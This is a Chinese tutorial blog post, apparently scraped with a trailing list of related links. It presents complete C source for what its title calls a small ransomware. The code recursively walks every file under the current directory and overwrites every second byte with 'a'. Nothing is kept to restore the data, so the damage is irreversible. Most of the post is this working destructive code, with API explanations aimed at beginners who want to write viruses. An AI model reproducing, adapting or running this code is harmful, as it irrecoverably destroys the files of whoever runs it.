前言:

这里是根据B站上的一个视频,看着教学写的,一下是我对代码的分块解析记录,方便想入门写病毒和反病毒小工具的人学习。

准备

vc++2013

b站学习视频

新建项目

我就是一开始新建项目都不清楚,原来一直用devc++

image.png

需要注意的是这里的配置

配置2

代码编写部分

1.思路

1>遍历指定目录或当前目录下所有文件(这里用到了递归查询)

2>对指定文件加密

2.对单个文件进行加密

如何对文件加密,那个老师讲的是方式比较好理解,直接对每个字节后面插入一个字符

如果是英文的话就比较好发现了,但是如果对图片和别的文件进行加密,直接就破坏了文件结构。

比起 python的直接调用库,c的缺点就是需要你自己去做,比如打开文件,对文件进行写入操作,需要判断光标的位置,需要一步步去加密,通过写这个程序,自己相应的也会了解到c的魅力。

想起以前做一个qq弹框的时候,内心想的就是抓取这个页面,不断修改在窗口的位置,如果是python,则意味着你可能不懂真正的原理,也就c能让你体验一把这种真正去控制window的瘾。

加密函数

//这里是加密函数,文件加密方式只要你懂if,else,就会知道大概流程

void jiami(char* fileName){

//1 打开文件

FILE* fp = NULL; //文件指针

fp=fopen(fileName,"r+"); //文件名 文件打开方式

if (NULL == fp){

printf("打开文件失败!\n");

return;

}

printf("打开%s文件成功!\n",fileName);

//2 拿到文件大小

//2.1 设置光标(文件内容指针) 到文件末尾

fseek(fp, 0, SEEK_END);

//2.2 计算光标位置距离文件头有多少字节

int size = ftell(fp);

//2.3 设置光标位置到文件头

fseek(fp, 0, SEEK_SET);

printf("文件大小为: %d字节!\n",size);

//3 每隔一个字节插入一个字节

char code = 'a';

for (int i = 0; i < size; i++){

//写入1字节

fwrite(&code, 1, 1, fp);

//把光标往后走一个字节

fseek(fp, 1, SEEK_CUR);

}

//4 保存关闭

fclose(fp);

}

相关函数解释

#fseek

功能:把与fp有关的文件位置指针放到一个指定位置。

格式: int fseek(FILE *stream, long offset, int fromwhere);

范例一:fseek(fp, 0L, SEEK_END);

解释:文件指针定位到文件末尾,偏移0个字节

范例二: fseek(fp,50L,0);或fseek(fp,50L,SEEK_SET);

解释:其作用是将位置指针移到离文件头50个字节处。

#fopen

下面是 fopen() 函数的声明。

FILE *fopen(const char *filename, const char *mode)

参数

filename -- 这是 C 字符串,包含了要打开的文件名称。

mode -- 这是 C 字符串,包含了文件访问模式,模式如下:

模式 描述

"r" 打开一个用于读取的文件。该文件必须存在。

"w" 创建一个用于写入的空文件。如果文件名称与已存在的文件相同,则会删除已有文件的内容,文件被视为一个新的空文件。

"a" 追加到一个文件。写操作向文件末尾追加数据。如果文件不存在,则创建文件。

"r+" 打开一个用于更新的文件,可读取也可写入。该文件必须存在。

"w+" 创建一个用于读写的空文件。

"a+" 打开一个用于读取和追加的文件。

查找文件

这里并没有对特定文件夹进行递归查询,而是对当前目录进行递归查询

这里是通过通配符去找的,和正则一样

具体函数:

void findFile(char* pathName){

//设置要找的文件名

char findFileName[256];

memset(findFileName, 0, 256); //清空数组

sprintf(findFileName, "%s\\*.*", pathName);

printf("要找的文件名是:%s\n", findFileName);

//2 找这个要找的文件

WIN32_FIND_DATA findData;

HANDLE hFile = FindFirstFile(findFileName, &findData);

if (INVALID_HANDLE_VALUE == hFile){

printf("找文件失败!\n");

return;

}

int ret = 1;

char temp[256];

while (ret){

//这里是对findData的属性进行判断,判断是不是文件夹

if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY){

//因为window文件存在. 和.. ,这里要过滤完

if (findData.cFileName[0] != '.'){

memset(temp, 0, 256);

sprintf(temp, "%s\\%s", pathName, findData.cFileName);

printf("找到一个文件夹: %s\n", temp);

//Sleep(1000);

findFile(temp);

}

}

else{

memset(temp, 0, 256);

sprintf(temp, "%s\\%s", pathName, findData.cFileName);

printf("找到一个文件:%s\n", temp);

//加密这个文件

jiami(temp);

}

ret = FindNextFile(hFile, &findData);

}

}

相关函数解释

#memset()

memset() 的作用是在一段内存块中填充某个给定的值。因为它只能填充一个值,

所以该函数的初始化为原始初始化,无法将变量初始化为程序中需要的数据。

用memset初始化完后,后面程序中再向该内存空间中存放需要的数据。

#sprintf()

int sprintf(char *str, const char *format, ...)

参数

str -- 这是指向一个字符数组的指针,该数组存储了 C 字符串。

format -- 这是字符串,包含了要被写入到字符串 str 的文本。

它可以包含嵌入的 format 标签,format 标签可被随后的附加参数中指定的值替换,

并按需求进行格式化。format 标签属性是 %[flags][width][.precision][length]specifier

#WIN32_FIND_DATA findData; 这里调用win32

#HANDLE hFile = FindFirstFile(findFileName, &findData);

这里是调用的windows.h,来执行的

通过判断hFile的值来判断传入的findFileName是文件还是文件夹

#findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY

这里是对findData的属性进行判断,判断是不是文件夹

主函数

// file_encode.cpp : 定义控制台应用程序的入口点。

//

#include "stdafx.h"

#include

#include

//加密filename这个文件

void jiami(char* fileName);

//遍历文件夹并找到每一个文件

void findFile(char* pathName);

int _tmain(int argc, _TCHAR* argv[])

{

//jiami("1.txt");

char buff[256]= { 0 }; //2^8

GetCurrentDirectory(256,buff);

//printf("文件夹名字是: %s\n", buff);

findFile(buff);

while (1);

return 0;

}

总结:

要自己多动手,才能有收获,同时要多分享,才能get更多姿势。

费娘

用python制作勒索病毒_用c写一个小勒索病毒(用B站来学习)相关推荐

  1. 用pycharm进行python爬虫的步骤_使用Pycharm写一个网络爬虫

    在初步了解网络爬虫之后,我们接下来就要动手运用Python来爬取网页了. 我们知道,网络爬虫应用一般分为两个步骤: 1.通过网页链接获取内容: 2.对获得的网页内容进行处理 这两个步骤需要分别使用不同 ...

  2. python数字华容道算法_用React写一个数字华容道,你需要知道的秘密

    还在上班?很无聊? 这个叫前言 年末了.哦,不,要过年了.以前只能一路站到公司的我,今早居然是坐着过来的.新的一年,总要学一个新东西来迎接新的未来吧,所以选择了一直未碰的那个据说是全宇宙最牛逼的前端框 ...

  3. python迷宫万花筒代码_用Python3写一个走迷宫的小程序(图形化:matplotlib,dfs,prim)...

    先看一下动态效果图(慢放): 首先生成迷宫: 主要用了两个算法:Prim和dfs 总结:Prim生成的比较像真正的迷宫,所以默认用了Prim生成迷宫 先输入n,m,会生成一个迷宫(prim生成),然后 ...

  4. 使用python制作聊天框解谜游戏_使用Python写一个小游戏alien invasion!

    最近python语言大火,除了在科学计算领域python有用武之地之外,在游戏.后台等方面,python也大放异彩,本篇博文将按照正规的项目开发流程,手把手教大家写个python小游戏,来感受下其中的 ...

  5. 手机版python3h如何自制游戏_教你如何用 Python 写一个小游戏

    教你如何用 Python 写一个小游戏 引言 最近 python 语言大火, 除了在科学计算领域 python 有用武之地之外, 在游戏后台等方面, python 也大放异彩, 本篇博文将按照正规的项 ...

  6. 关于python小游戏的毕业论文_使用Python写一个小游戏

    引言 最近python语言大火,除了在科学计算领域python有用武之地之外,在游戏.后台等方面,python也大放异彩,本篇博文将按照正规的项目开发流程,手把手教大家写个python小游戏,来感受下 ...

  7. 用python写一个小程序,解决买水果的问题?

    问题: 商店总共有三种水果,香蕉/苹果/葡萄,单价分别为3.5/5.0/3.0元/500克. 写一个小程序实现: 1.输出一个菜单:打印每种水果的价格: 2.寻问客户欲购买水果? 3.客户想购买的克数 ...

  8. python写游戏脚本-使用Python写一个小游戏

    引言 最近python语言大火,除了在科学计算领域python有用武之地之外,在游戏.后台等方面,python也大放异彩,本篇博文将按照正规的项目开发流程,手把手教大家写个python小游戏,来感受下 ...

  9. python编程小游戏-使用Python写一个小游戏

    引言 最近python语言大火,除了在科学计算领域python有用武之地之外,在游戏.后台等方面,python也大放异彩,本篇博文将按照正规的项目开发流程,手把手教大家写个python小游戏,来感受下 ...

最新文章

  1. VMM系列之使用VMM服务器构建 Hyper-V 主机(3)
  2. 汉字的理据与造字取向
  3. 使用Docker-容器命令介绍
  4. java yyyy m d_日期-Java 8时间API:如何将格式“ MM.yyyy”的字符串解析为LocalD
  5. python 示例_带有示例的Python文件关闭属性
  6. 计算机win7内容已满,Win7旗舰版电脑C盘满了怎么清理
  7. 鸟类南飞,去的是哪个“南方”?
  8. (秋季)秋天海报设计素材模板
  9. oracle xp安装详细步骤
  10. RSS导入功能已完成
  11. 【渝粤教育】国家开放大学2018年春季 8639-22T食品营养与健康 参考试题
  12. Button 自动换行
  13. android桌面快捷网页,Android向桌面添加快捷方式,使其指向特定的网页
  14. DO280介绍红帽OPENSHIFT容器平台--管理OpenShift与课外补充
  15. sprintf函数的使用方法
  16. python爬虫cookie
  17. [ArcGIS] 空间分析(四) 三维分析
  18. quartus ModelSim executable not found.
  19. git改变用户名和邮箱
  20. java线程 模拟窗口售票

热门文章

  1. PR开场片头模板 自然热带树叶动态logo展示pr免费视频模板
  2. Java配置path和classpath的含义详解
  3. 跳过密码打开excel表格xlsx,忘记excel表格xlsx密码如何找回?
  4. python3爬取华为应用市场APP安装包实战
  5. linux 及时通讯软件,Linux平台即时通讯软件MSC 2.0版发布
  6. 20个热门少儿编程网站与应用【家长必读】
  7. 微信小程序接入微信支付(二):后台调用统一下单接口
  8. java 导出excel 大数据量 报错_java导出excel
  9. 阿里云ECS流量计算
  10. 《薄冰实用英语语法详解》独家连载之十五:并列连词